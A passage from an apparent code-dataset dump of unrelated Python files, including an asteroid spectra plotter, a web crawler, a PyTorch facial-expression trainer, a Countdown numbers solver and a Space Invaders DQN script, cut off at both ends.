'NONE':\n data_set = ''\n\n xxx = spec_x[0:len(yyy)]\n\n smoothy = np.array(yyy)\n\n test = [j for j, x in enumerate(xxx) if 4000 < x < 10000]\n # test = [j for j, x in enumerate(xxx) if 6000 < x < 7000]\n\n find_g = [j for j, x in enumerate(xxx) if 5400 < x < 5600]\n smoothy = smoothy / np.mean(smoothy[find_g])\n\n offy = [y + 0.2*offset for y in smoothy]\n ax.plot(xxx[test], smoothy[test], label=data_set)\n return ax, offy, xxx\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--outpath\", help=\"Output path for plots\", type=str, default='')\n parser.add_argument(\"--path\", help=\"base path spectra\", type=str, default='')\n parser.add_argument(\"--title\", help=\"Title for Plot\", type=str, default='Normalized Spectra')\n args = parser.parse_args()\n path = args.path\n outpath = args.outpath\n title = args.title\n trace = 'test'\n reflec = True\n if path and path[-1] != '/':\n path = path + '/'\n if outpath and outpath[-1] != '/':\n outpath = outpath + '/'\n\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1, title=title)\n\n print(\"List the taxonomic standards to plot. (comma separated format. => X, C, B) \")\n print(\"Possible standards include: A,B,C,Cb,Cg,Cgh,Ch,D,K,L,O,Q,R,S,Sa,Sq,Sr,Sv,T,V,X,Xc,Xe,Xk,Xn,None\")\n stand_tax = input(\"Taxonomic Standards:\")\n\n if stand_tax and 'NONE' not in stand_tax.upper():\n stand_tax = list(filter(None, re.split(r',|\\s|;|\\.|/|-', stand_tax)))\n stand_plot(ax, stand_tax)\n\n while trace:\n print(\"=========================================================================\")\n print(\"Input the path to the 1D merged asteroid trace (Leave blank to skip).\")\n print(\"If using the FLOYDS pipeline, this will be of the form 'trim_ntt*_merge_*_e.fits or ntt*_merge_*2df_ex.fits\")\n trace = input(\"Path to asteroid trace:\")\n\n if trace:\n print(\"=========================================================================\")\n print(\"Input the path to the 1D merged solar analog trace to be removed from this spectrum (Leave blank to skip).\")\n print(\"If using the FLOYDS pipeline, this will be of the form 'trim_ntt*_merge_*_e.fits or ntt*_merge_*2df_ex.fits\")\n sol_trace = input(\"Path to solar analog trace:\")\n if not sol_trace:\n reflec = False\n sol_path_trace = ''\n else:\n sol_path_trace = path+sol_trace\n\n print(\"=========================================================================\")\n print(\"Input label for these data (Leave blank for default, for no label type 'None').\")\n print(\"Default = {object} -- {analog} -- {obj date}\")\n label = input(\"Data label:\")\n\n ax, normalized_ast_spec, ast_wav = spectrum_plot(path+trace, ax, label, sol_path_trace)\n\n if reflec:\n ax.set_ylabel('Relative to Airmass 1.24 (Normalized at $5500 \\AA$)')\n # ax.set_ylabel('Reflectance Spectra (Normalized at $5500 \\AA$)')\n else:\n ax.set_ylabel('Relative Spectra (Normalized at $5500 \\AA$)')\n ax.set_xlabel('Wavelength ($\\AA$)')\n ax.legend()\n plt.savefig(outpath+'temp.png')\n print('New spectroscopy plot saved to {}'.format(outpath+'temp.png'))\n","sub_path":"spectra_comp/spec_comp.py","file_name":"spec_comp.py","file_ext":"py","file_size_in_byte":9020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"38844251","text":"class Solution(object):\n def minimumTotal(self, triangle):\n \"\"\"\n :type triangle: List[List[int]]\n :rtype: int\n \"\"\"\n for i in range(len(triangle)-2,-1,-1):\n for j in range(len(triangle[i])):\n triangle[i][j] = triangle[i][j] + min(triangle[i+1][j], triangle[i+1][j+1])\n return triangle[0][0]\n\np = Solution()\ntriangle = [\n [2],\n [3,4],\n [6,5,7],\n [4,1,8,3]\n]\nprint(p.minimumTotal(triangle))","sub_path":"120. Triangle /solution 3.py","file_name":"solution 3.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"605485366","text":"\n\"\"\"Сумма строк и столбцов двумерного массива\nЗадан целочисленный двумерный массив, состоящий из N строк и M столбцов.\nТребуется вычислить сумму элементов в каждой строке и в каждом столбце.\nПрограмма получает на вход два натуральных числа N и M – количество строк и столбцов двумерного массива.\nВ каждой из последующих N строк записаны M целых чисел – элементы массива.\nВсе числа во входных данных не превышают 1000 по абсолютной величине.\nВ первой строке вам необходимо вывести N чисел – суммы элементов массива для каждой строки в отдельности.\nВо второй строке в аналогичном формате выведите M чисел – суммы элементов для каждого столбца.\"\"\"\n\nN, M = map(int, input().split())\nmatrix_list = []\nstr_list = []\nver_list = []\n\nfor e in range(N):\n matrix_list.append([int(el) for el in input().split()])\n\nfor i in range(N):\n sum_str = 0\n for j in range(M):\n sum_str += matrix_list[i][j]\n str_list.append(sum_str)\nprint(*str_list)\n\nfor k in range(M):\n sum_ver = 0\n for l in range(N):\n sum_ver += matrix_list[l][k]\n ver_list.append(sum_ver)\nprint(*ver_list)","sub_path":"Courses/Инди-курс программирования на Python от egoroff_channel/5.6/5.6.7.py","file_name":"5.6.7.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"4490108","text":"from wisardpkg import KernelCanvas\nfrom random import random\n\nprint(\"\\n\\n\")\nprint(\"### Kernel Canvas ###\")\ndimension = 2\nnumberOfKernels = 10\nbitsByKernel = 4\nkc = KernelCanvas(dimension, numberOfKernels, bitsByKernel=bitsByKernel, useDirection=True)\n\nsequenceData = []\np = [10*random(),10*random()]\nfor i in range(100):\n point = list(p)\n point[0] += i\n point[1] += i\n sequenceData.append(point)\n\nout = kc.transform(sequenceData)\nprint(\"binary output:\",len(out), out)\nprint(\"### DONE Kernel Canvas ###\")\n","sub_path":"test/kernel_canvas_test.py","file_name":"kernel_canvas_test.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"543674738","text":"from django.conf.urls import url\nfrom comments import views\nfrom rest_framework.urlpatterns import format_suffix_patterns\n\napp_name = 'comments'\n\nurlpatterns = [\n url(r'^post/(?P\\d+)/comment/$', views.add_comment_to_post, name='add_comment_to_post'),\n url(r'^todo/(?P\\d+)/suggestion/$', views.add_suggestion_to_todo, name='add_suggestion_to_todo'),\n url(r'^commentsapi/$', views.CommentListAPI.as_view()),\n url(r'^commentsapi/(?P\\d+)/$', views.CommentDetailSeri.as_view(), name='api_detail'),\n url(r'^commentsapi/(?P\\d+)/update/$', views.CommentUpdateSeri.as_view(), name='api_update'),\n url(r'^commentsapi/(?P\\d+)/delete/$', views.CommentDeleteSeri.as_view(), name='api_delete')\n\n]\n","sub_path":"comments/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"517928067","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport pywikibot, re, sys, argparse\n\nimport blib\nfrom blib import getparam, rmparam, msg, site\n\ndef process_page(index, page):\n pagetitle = str(page.title())\n def pagemsg(txt):\n msg(\"Page %s %s: %s\" % (index, pagetitle, txt))\n\n pagemsg(\"Processing\")\n\n parsed = blib.parse(page)\n\n found_headword_template = False\n for t in parsed.filter_templates():\n if str(t.name) in [\"ru-adj\"]:\n found_headword_template = True\n if not found_headword_template:\n notes = []\n for t in parsed.filter_templates():\n if str(t.name) in [\"ru-noun\", \"ru-noun+\", \"ru-proper noun\", \"ru-proper noun+\"]:\n notes.append(\"found noun header (%s)\" % str(t.name))\n if str(t.name) == \"head\":\n notes.append(\"found head header (%s)\" % getparam(t, \"2\"))\n pagemsg(\"Missing adj headword template%s\" % (notes and \"; \" + \",\".join(notes)))\n\nparser = blib.create_argparser(\"Find missing Russian adjective headwords\")\nargs = parser.parse_args()\nstart, end = blib.parse_start_end(args.start, args.end)\n\nfor index, page in blib.references(\"Template:ru-decl-adj\", start, end):\n process_page(index, page)\n","sub_path":"find_ru_no_adj_headword.py","file_name":"find_ru_no_adj_headword.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"587775135","text":"import cv2\r\nimport pyws\r\nimport numpy as np\r\nimport win32ui\r\nimport win32con\r\nimport win32gui\r\nimport win32print\r\nfrom PIL import ImageGrab\r\nimport datetime\r\n\r\n\r\n# getid - EnumWindows用コールバック関数\r\ndef proc(hwnd, ar):\r\n title = win32gui.GetWindowText(hwnd)\r\n if ar[0] in title:\r\n ar[1].append(hwnd)\r\n return 1\r\n\r\n\r\n# titleをウィンドウタイトルに含むウィンドウのウィンドウハンドルを返します\r\n# title : 検索に使うタイトル\r\n# n : 何番目のウィンドウハンドルを返すか\r\ndef get_handle(title, n=0):\r\n hwnds = []\r\n win32gui.EnumWindows(proc, [title, hwnds])\r\n return hwnds[n]\r\n\r\n\r\ndef get_image(handle):\r\n rect = win32gui.GetWindowRect(handle)\r\n\r\n pos = 8, 59\r\n size = 727, 619\r\n rect = rect[0] + pos[0], rect[1] + pos[1], rect[0] + pos[0] + size[0], rect[1] + pos[1] + size[1]\r\n\r\n img = ImageGrab.grab(rect)\r\n img = np.asarray(img)\r\n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\r\n\r\n # img = cv2.imread('img/reach_left.jpg')\r\n return img\r\n\r\n\r\ndef main():\r\n try:\r\n handle = get_handle('天鳳')\r\n except IndexError:\r\n return\r\n\r\n img = get_image(handle)\r\n name = 'img/' + datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\") + '.jpg'\r\n print(name)\r\n cv2.imwrite(name, img)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"GetWindow.py","file_name":"GetWindow.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"35543936","text":"from __future__ import print_function\nfrom collections import OrderedDict\nfrom collections import namedtuple\nimport os\n\n\ndef meminfo(): # MEMMORY USAGE\n ''' Return the information in /proc/meminfo\n as a dictionary '''\n meminfo=OrderedDict()\n\n with open('/proc/meminfo') as f:\n for line in f:\n meminfo[line.split(':')[0]] = line.split(':')[1].strip()\n return meminfo\n\nif __name__=='__main__':\n #print(meminfo())\n \n meminfo = meminfo()\n print('Total memory: {0}'.format(meminfo['MemTotal']))\n print('Free memory: {0}'.format(meminfo['MemFree']))\n\ndef process_list(): #PROCESS FUNCTION\n\n pids = []\n for subdir in os.listdir('/proc'):\n if subdir.isdigit():\n pids.append(subdir)\n\n return pids\nif __name__=='__main__':\n\n pids = process_list()\n print('Total number of running processes:: {0}'.format(len(pids)))\n\n\ndef netdevs(): ## Netwrok Usage\n ''' RX and TX bytes for each of the network devices '''\n\n with open('/proc/net/dev') as f:\n net_dump = f.readlines()\n \n device_data={}\n data = namedtuple('data',['rx','tx'])\n for line in net_dump[2:]:\n line = line.split(':')\n if line[0].strip() != 'lo':\n device_data[line[0].strip()] = data(float(line[1].split()[0])/(1024.0*1024.0), \n float(line[1].split()[8])/(1024.0*1024.0))\n \n return device_data\n\nif __name__=='__main__':\n \n netdevs = netdevs()\n for dev in netdevs.keys():\n print('{0}: {1} MiB {2} MiB'.format(dev, netdevs[dev].rx, netdevs[dev].tx))\n\n\n","sub_path":"psinfo.py","file_name":"psinfo.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"241009081","text":"import time\nfrom datetime import datetime, timedelta\nfrom urllib.error import URLError\nfrom urllib.parse import urlparse, urljoin\nfrom urllib.request import urlopen, Request\nimport schedule\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\nfrom pymongo.errors import PyMongoError\nfrom page import Page\nfrom settings import *\n\ndef crawl_page(url):\n try:\n response = urlopen(Request(url, headers={\"User-Agent\": USER_AGENT}))\n except URLError as error:\n print(URLError(error, url))\n response = None\n \n #Check if there was an error with our response\n if response is not None:\n soup = BeautifulSoup(response, \"lxml\")\n page = Page(url)\n\n #Grab all links\n for anchor in soup.find_all(\"a\"):\n href = anchor.get(\"href\")\n #Check if we have an absolute url or a relative one\n if bool(urlparse(href).netloc):\n link = href \n if link not in page.absolute_links:\n page.absolute_links.append(link) \n else:\n link = urljoin(url, href)\n if link not in page.relative_links: \n page.relative_links.append(link) \n \n #Grab all images\n for img in soup.find_all(\"img\"):\n image = img.get(\"src\") \n if image not in page.images:\n page.images.append(image)\n \n page.sort()\n else:\n page = None\n \n return page\n\ndef load_urls(file_name): \n urls = list()\n try: \n with open(file_name) as file:\n for line in file: \n line = line.lower().strip()\n #Filter out malformed urls\n if line.startswith(\"http://\") or line.startswith(\"https://\"):\n urls.append(line)\n except IOError as error:\n print(\"IOError: \", error)\n \n return urls\n\ndef check_expired_urls(urls, collection):\n expired_urls = list()\n for url in urls:\n try: \n found_urls = collection.find({\"url\": url}) \n except PyMongoError as error:\n print(\"MongoError:\", error) \n \n #Check if the url already exists in the collection\n if found_urls.count() == 0:\n expired_urls.append(url)\n else: \n #Check if the url is ready to be crawled again\n for current_url in found_urls:\n expiry_date = current_url[\"date\"] + timedelta(minutes=EXPIRY_PERIOD)\n current_date = datetime.utcnow()\n if current_date > expiry_date:\n expired_urls.append(url) \n return expired_urls\n \ndef main():\n #Set up database\n client = MongoClient(MONGO_URL)\n database = client.simple_crawler_db \n collection = database.site_data\n \n #Todo: Change from using a file to grabbing from db\n urls = load_urls(INPUT_FILE)\n expired_urls = check_expired_urls(urls, collection)\n \n #Crawl urls and store results\n pages = list()\n for url in expired_urls: \n page = crawl_page(url)\n if page is not None:\n pages.append(page)\n \n #Insert our results into db\n try:\n for page in pages: \n page_info = {\"url\": page.url,\n \"absolute_links\": page.absolute_links,\n \"relative_links\": page.relative_links,\n \"images\": page.images, \n \"date\": datetime.utcnow()} \n \n collection.find_one_and_update({\"url\": page.url}, {\"$set\" : page_info}, upsert=True) \n #print(\"Update or insert\", page.url)\n except PyMongoError as error:\n print(\"MongoError:\", error) \n \nif __name__ == \"__main__\":\n #Run once then set a schedule \n print(\"Crawler started\")\n main()\n schedule.every(SCHEDULE_PERIOD).minutes.do(main)\n \n while True:\n schedule.run_pending()\n time.sleep(SLEEP_PERIOD)\n ","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"427165112","text":"import pandas as pd\nimport sys\nimport torch\nfrom torch.utils.data import DataLoader, Dataset\nimport torchvision\nfrom torchvision import transforms\nimport numpy as np\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data.sampler import SubsetRandomSampler\nfrom model import vgg16\nimport random\nimport matplotlib.pyplot as plt\n\nuse_cuda = torch.cuda.is_available()\n\nclass MyDataset(Dataset):\n\n\tdef __init__(self, file_path, transform=None):\n\t\tself.data = pd.read_csv(file_path)\n\t\tself.label_list = np.array(self.data.iloc[:, 0])\n\t\ttemp = np.array(self.data.iloc[:, 1:])\n\t\timage_list = []\n\t\tfor i in range(0, temp.shape[0]):\n\t\t\ta = np.fromstring(temp[i, 0], dtype = np.float32, sep = ' ').reshape(48, 48, 1)\n\t\t\timage_list.append(a)\n\t\tself.image_list = np.array(image_list)\n\t\tself.transform = transform\n\n\tdef __len__(self):\n\t\treturn len(self.data)\n\n\tdef __getitem__(self, index):\n\t # load image as ndarray type (Height * Width * Channels)\n\t # be carefull for converting dtype to np.uint8 [Unsigned integer (0 to 255)]\n\t # in this example, i don't use ToTensor() method of torchvision.transforms\n\t # so you can convert numpy ndarray shape to tensor in PyTorch (H, W, C) --> (C, H, W)\n\t\t\n\t\timage = self.image_list[index]\n\t\tlabel = self.label_list[index]\n\t\tif self.transform is not None:\n\t\t image = self.transform(image)\n\t\treturn image, label\n\ntrain_dataset = MyDataset(sys.argv[1], transform = transforms.Compose([\n\ttransforms.ToPILImage(),\n\ttransforms.RandomHorizontalFlip(p = 0.3), \n transforms.RandomAffine(0, translate=(0.1, 0.1), scale=(0.8, 1), shear=15, resample=False, fillcolor=0),\n\ttransforms.ToTensor()]))\ndataset_size = len(train_dataset)\nindices = list(range(dataset_size))\nbatch_size = 64\nsp = int(np.floor(dataset_size*0.8))\ntrain_indices, val_indices = indices[:sp], indices[sp:]\ntrain_sampler = SubsetRandomSampler(train_indices)\nvalid_sampler = SubsetRandomSampler(val_indices)\ntrain_loader = DataLoader(train_dataset, batch_size = batch_size, sampler = train_sampler)\nvalid_loader = DataLoader(train_dataset, batch_size = batch_size, sampler = valid_sampler)\n\nnet = vgg16()\nif use_cuda:\n\tnet = net.cuda()\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(net.parameters(), lr = 1e-4)\nloss_list, acc_list = [], []\nloss_list1, acc_list1 = [], []\n\ndef train(epoch):\n\tnet.train()\n\tfor i, (images, labels) in enumerate(train_loader):\n\t\tif use_cuda:\n\t\t\timages, labels = images.cuda(), labels.cuda()\n\t\toptimizer.zero_grad()\n\n\t\toutput = net(images)\n\n\t\tloss = criterion(output, labels)\n\n\t\tif i % 10 == 0:\n\t\t print('Train - Epoch %d, Batch: %d, Loss: %f' % (epoch, i, loss.data.item()))\n\n\t\tloss.backward()\n\t\toptimizer.step()\ndef valid():\n\tnet.eval()\n\ttotal_correct = 0\n\tavg_loss = 0.0\n\tfor i, (images, labels) in enumerate(valid_loader):\n\t\tif use_cuda:\n\t\t\timages, labels = images.cuda(), labels.cuda()\n\t\toutput = net(images)\n\t\tavg_loss += criterion(output, labels).sum().item()\n\t\tpred = output.data.max(1)[1]\n\t\ttotal_correct += pred.eq(labels.data.view_as(pred)).sum().item()\n\n\tavg_loss /= (dataset_size - sp)\n\tacc = float(total_correct) / (dataset_size - sp)\n\tprint('Valid Avg. Loss: %f, Accuracy: %f' % (avg_loss, acc))\n\tacc_list.append(acc)\n\tloss_list.append(avg_loss)\n\ttotal_correct = 0\n\tavg_loss = 0.0\n\tfor i, (images, labels) in enumerate(valid_loader):\n\t\tif use_cuda:\n\t\t\timages, labels = images.cuda(), labels.cuda()\n\t\toutput = net(images)\n\t\tavg_loss += criterion(output, labels).sum().item()\n\t\tpred = output.data.max(1)[1]\n\t\ttotal_correct += pred.eq(labels.data.view_as(pred)).sum().item()\n\n\tavg_loss /= (dataset_size - sp)\n\tacc = float(total_correct) / (dataset_size - sp)\n\tprint('Valid Avg. Loss: %f, Accuracy: %f' % (avg_loss, acc))\n\tacc_list1.append(acc)\n\tloss_list1.append(avg_loss)\n'''\ndef plotData(plt, x_data, y_data, y1_data, y_label):\n\tx = [p for p in x_data]\n\ty = [q for q in y_data]\n\ty1 = [r for r in y1_data]\n\tplt.title('Learning Curve')\n\tplt.xlabel('Epoch')\n\tplt.ylabel(y_label)\n\tplt.plot(x, y, '-.', label = 'valid')\n\tplt.plot(x, y1, '-.', label = 'train')\n\tplt.savefig(y_label)\n\tplt.close('all')\n'''\ndef train_and_test(epoch):\n\ttrain(epoch)\n\tvalid()\n\t\n\nfor e in range(1, 500):\n\ttrain_and_test(e)\n'''\nepoch_list = list(range(1, 500))\nplotData(plt, epoch_list, acc_list, acc_list1, 'Training accuracy')\nplotData(plt, epoch_list, loss_list, loss_list1, 'Training loss')\n'''\ntorch.save(net.state_dict(), sys.argv[2])","sub_path":"hw3/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"411221443","text":"from itertools import permutations\r\nfrom collections import defaultdict\r\n\r\n\r\nclass Expression(object):\r\n\r\n def __init__(self, value, a, b, operator, func):\r\n self.a = a\r\n self.b = b\r\n self.value = value\r\n self.operator = operator\r\n self.func = func\r\n\r\n @property\r\n def a_val(self):\r\n if isinstance(self.a, Expression):\r\n return self.a.a_val\r\n return self.a\r\n\r\n @property\r\n def b_val(self):\r\n if isinstance(self.b, Expression):\r\n return self.b.b_val\r\n return self.b\r\n\r\n def as_equation(self):\r\n a = self.a.as_equation() if isinstance(self.a, Expression) else [self.a]\r\n b = self.b.as_equation() if isinstance(self.b, Expression) else [self.b]\r\n\r\n equation = '({} {} {})'.format(a, self.operator, b)\r\n return equation\r\n\r\n def numbers(self):\r\n \"\"\" :type: list[int]\"\"\"\r\n a_nums = self.a.numbers() if isinstance(self.a, Expression) else [self.a]\r\n b_nums = self.b.numbers() if isinstance(self.b, Expression) else [self.b]\r\n\r\n numbers = a_nums + b_nums\r\n return numbers\r\n\r\n def as_step(self):\r\n a = self.a_val if isinstance(self.a, int) else self.a.value\r\n b = self.b_val if isinstance(self.b, int) else self.b.value\r\n\r\n return '{} {} {} = {}'.format(a, self.operator, b, self.value)\r\n\r\n def steps(self):\r\n if isinstance(self.a, int) and isinstance(self.b, int):\r\n return [self.as_step()]\r\n\r\n a_step = [] if isinstance(self.a, int) else self.a.steps()\r\n b_step = [] if isinstance(self.b, int) else self.b.steps()\r\n\r\n return [self.as_step()] + a_step + b_step\r\n\r\n def ordered_steps(self):\r\n return reversed(self.steps())\r\n\r\n def __str__(self):\r\n return '''{} = {} | {}'''.format(self.as_equation(), self.value, sorted(self.numbers()))\r\n\r\n def __repr__(self):\r\n return self.__str__()\r\n\r\n def __eq__(self, other):\r\n if not isinstance(other, Expression):\r\n return False\r\n\r\n if sorted(self.numbers()) != sorted(other.numbers()):\r\n return False\r\n\r\n if self.as_equation() == other.as_equation():\r\n return True\r\n\r\n if self.operator != other.operator:\r\n return False\r\n\r\n if other.operator in ['+', '*']:\r\n a_equal = self.a == other.a\r\n b_equal = self.b == other.b\r\n\r\n if a_equal or b_equal:\r\n return True\r\n\r\n return False\r\n\r\n\r\nclass Solver(object):\r\n\r\n def __init__(self):\r\n self._ops = {\r\n '+': lambda x, y: x + y,\r\n '-': lambda x, y: x - y,\r\n '*': lambda x, y: x * y,\r\n '/': lambda x, y: x // y if (x % y) == 0 else 0\r\n }\r\n\r\n self.last_answer = None\r\n\r\n def answers(self, numbers, target):\r\n \"\"\" :rtype: Expression \"\"\"\r\n n_numbers = len(numbers)\r\n\r\n # get all permutations for pairs of two numbers\r\n partials_map = defaultdict(list)\r\n\r\n # create the initial set of expressions for the given permutation\r\n for (a, b) in permutations(numbers, 2):\r\n for op, func in self._ops.items():\r\n value = func(a, b)\r\n if is_valid_value(value):\r\n expression = Expression(value, a, b, op, func)\r\n partials_map[value].append(expression)\r\n\r\n partials_map = filter_duplicates(partials_map)\r\n\r\n iteration = 0\r\n while iteration < n_numbers - 2:\r\n iteration += 1\r\n partials_map, target_found = process(numbers, self._ops, partials_map, target)\r\n\r\n if target_found:\r\n break\r\n\r\n\r\n # get the value closet to the target\r\n best_value = None\r\n deviation = 1E1000\r\n for value in sorted(partials_map.keys()):\r\n if value == target:\r\n best_value = target\r\n deviation = 0\r\n\r\n dev = abs(target - value)\r\n if (best_value is None) or (dev < deviation):\r\n best_value = value\r\n deviation = dev\r\n\r\n # get the best expression\r\n best_expression = None\r\n for expression in partials_map[best_value]:\r\n if (best_expression is None) or (len(expression.numbers()) < len(best_expression.numbers())):\r\n best_expression = expression\r\n\r\n self.last_answer = best_expression\r\n return best_expression\r\n\r\n\r\ndef process(numbers, operations, partials_map, target):\r\n new_partials_map = defaultdict(list) # because you cant add during iteration\r\n for _, expressions in partials_map.items():\r\n for expression in expressions:\r\n for num in numbers:\r\n if not is_subset(numbers, expression.numbers() + [num]):\r\n continue\r\n\r\n for op, func in operations.items():\r\n value = func(expression.value, num)\r\n if is_valid_value(value):\r\n new_expression = Expression(value, expression, num, op, func)\r\n new_partials_map[value].append(new_expression)\r\n\r\n if value == target:\r\n partials_map = merge_maps(partials_map, new_partials_map)\r\n partials_map = filter_duplicates(partials_map)\r\n return partials_map, True\r\n\r\n partials_map = merge_maps(partials_map, new_partials_map)\r\n partials_map = filter_duplicates(partials_map)\r\n\r\n return partials_map, False\r\n\r\n\r\ndef is_valid_value(value):\r\n if value <= 0:\r\n return False\r\n return True\r\n\r\n\r\ndef is_subset(available, selected):\r\n av_freq = _list_to_freq(available)\r\n sel_freq = _list_to_freq(selected)\r\n\r\n # ensure the selected has no more keys than available\r\n if len(sel_freq.keys()) > len(av_freq.keys()):\r\n return False\r\n\r\n # check key values to ensure that selected is not higher for any given key\r\n for value, freq in av_freq.items():\r\n if sel_freq[value] > freq:\r\n return False\r\n\r\n return True\r\n\r\n\r\ndef _list_to_freq(arr):\r\n freq = defaultdict(int)\r\n\r\n for v in arr:\r\n freq[v] += 1\r\n\r\n return freq\r\n\r\n\r\ndef merge_maps(map1, map2):\r\n merged = defaultdict(list)\r\n\r\n for key, expressions in map1.items():\r\n merged[key].extend(expressions)\r\n\r\n for key, expressions in map2.items():\r\n merged[key].extend(expressions)\r\n\r\n return merged\r\n\r\n\r\ndef _print_map(value_map):\r\n for value, expressions in value_map.items():\r\n print('Answers for: {}'.format(value))\r\n for exp in expressions:\r\n print('\\t{}'.format(exp))\r\n\r\n\r\ndef filter_duplicates(expression_map):\r\n # this might need to become a prefix notation check\r\n\r\n new_partial_map = defaultdict(list)\r\n for value, expressions in expression_map.items():\r\n filtered_expression = []\r\n for e in expressions:\r\n if e not in filtered_expression:\r\n filtered_expression.append(e)\r\n new_partial_map[value] = filtered_expression\r\n\r\n return new_partial_map\r\n\r\n\r\n","sub_path":"countdown/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":7162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"64590550","text":"df = pd.read_csv('EUR_USD.csv')\n\ndf['Date'] = df['Date'].astype('str')\ndf['Timestamp'] = df['Timestamp'].astype('str')\n\nind = df['Date']+' ' + df['Timestamp']\n\nind.name='Date'\n\ndf2 = df.set_index(ind)[['Open','High','Low','Close','Volume']]\n\n\ndf2.index= pd.DatetimeIndex(df2.index)\n\ndf2.to_csv('EURUSD_cleaned.csv')\n","sub_path":"OnePy/old/clean_fx.py","file_name":"clean_fx.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"119382840","text":"import tensorflow as tf\nimport numpy as np\nimport retro\n\nfrom skimage import transform\nfrom skimage.color import rgb2gray\n\nimport matplotlib.pyplot as plt\n\nfrom collections import deque\n\nimport random\n\nimport warnings\n\nimport memory\nimport dqnetwork\n\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\nhandler = logging.FileHandler('spaceinvaders.log')\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\nwarnings.filterwarnings('ignore')\n\nenv = retro.make(game=\"SpaceInvaders-Atari2600\")\n\nlogger.info(\"The size of our frame is: {}\".format(env.observation_space))\nlogger.info(\"The action size is: {}\".format(env.action_space.n))\n\n### model hyperparameters\nstate_size = [110, 84, 4]\naction_size = env.action_space.n\nlearning_rate = 0.00025\n\n### training parameters\ntotal_episodes = 50\nmax_steps = 50000\nbatch_size = 64\n\n### exploration parameters\nexplore_start = 1.0\nexplore_stop = 0.01\ndecay_rate = 0.00001\n\n### Q learning parameters\ngamma = 0.9\n\n### memory hyperparameters\npretrain_length = batch_size\nmemory_size = 30000\n\n### preprocessing parameters\nstack_size = 4\n\n### training\ntraining = True\n\n### render\nepisode_render = False\n\n### play agent\nagent_test = False\n\n\npossible_actions = np.array(np.identity(env.action_space.n, dtype=int).tolist())\nstacked_frames = deque([np.zeros((110, 84), dtype=np.int) for i in range(stack_size)], maxlen=4)\n\ndef preprocess_frame(frame):\n gray = rgb2gray(frame)\n\n cropped_frame = gray[8:-12, 4:-12]\n normalized_frame = cropped_frame/255.0\n preprocessed_frame = transform.resize(normalized_frame, [110, 84])\n return preprocessed_frame\n\ndef stack_frames(stacked_frames, state, is_new_episode):\n frame = preprocess_frame(state)\n\n if is_new_episode:\n stacked_frames = deque([np.zeros((110, 84), dtype=np.int) for i in range(stack_size)], maxlen=4)\n stacked_frames.append(frame)\n stacked_frames.append(frame)\n stacked_frames.append(frame)\n stacked_frames.append(frame)\n \n stacked_state = np.stack(stacked_frames, axis=2)\n\n else:\n stacked_frames.append(frame)\n stacked_state = np.stack(stacked_frames, axis=2)\n\n return stacked_state, stacked_frames\n\ntf.reset_default_graph()\nDQNetwork = dqnetwork.DQNetwork(state_size, action_size, learning_rate)\ndqn_memory = memory.Memory(max_size = memory_size)\n\nfor i in range(pretrain_length):\n if i == 0:\n state = env.reset()\n state, stacked_frames = stack_frames(stacked_frames, state, True)\n\n choice = random.randint(1, len(possible_actions))-1\n action = possible_actions[choice]\n next_state, reward, done, _ = env.step(action)\n\n #env.render()\n\n next_state, stacked_frames = stack_frames(stacked_frames, next_state, False)\n\n if done:\n next_state = np.zeros(state.shape)\n dqn_memory.add((state, action, reward, next_state, done))\n state = env.reset()\n state, stacked_frames = stack_frames(stacked_frames, state, True)\n else:\n dqn_memory.add((state, action, reward, next_state, done))\n state = next_state\n\nwriter = tf.summary.FileWriter(\"/tmp/tb/dqn/1\")\ntf.summary.scalar(\"Loss\", DQNetwork.loss)\nwrite_op = tf.summary.merge_all()\n\ndef predict_action(explore_start, explore_stop, decay_rate, decay_step, state, actions):\n exp_exp_tradeoff = np.random.rand()\n\n explore_probability = explore_stop + (explore_start - explore_stop) * np.exp(-decay_rate * decay_step)\n if (explore_probability > exp_exp_tradeoff):\n choice = random.randint(1, len(possible_actions)) - 1\n action =possible_actions[choice]\n else:\n Qs = sess.run(DQNetwork.output, feed_dict = {DQNetwork.inputs_: state.reshape((1, *state.shape))})\n choice 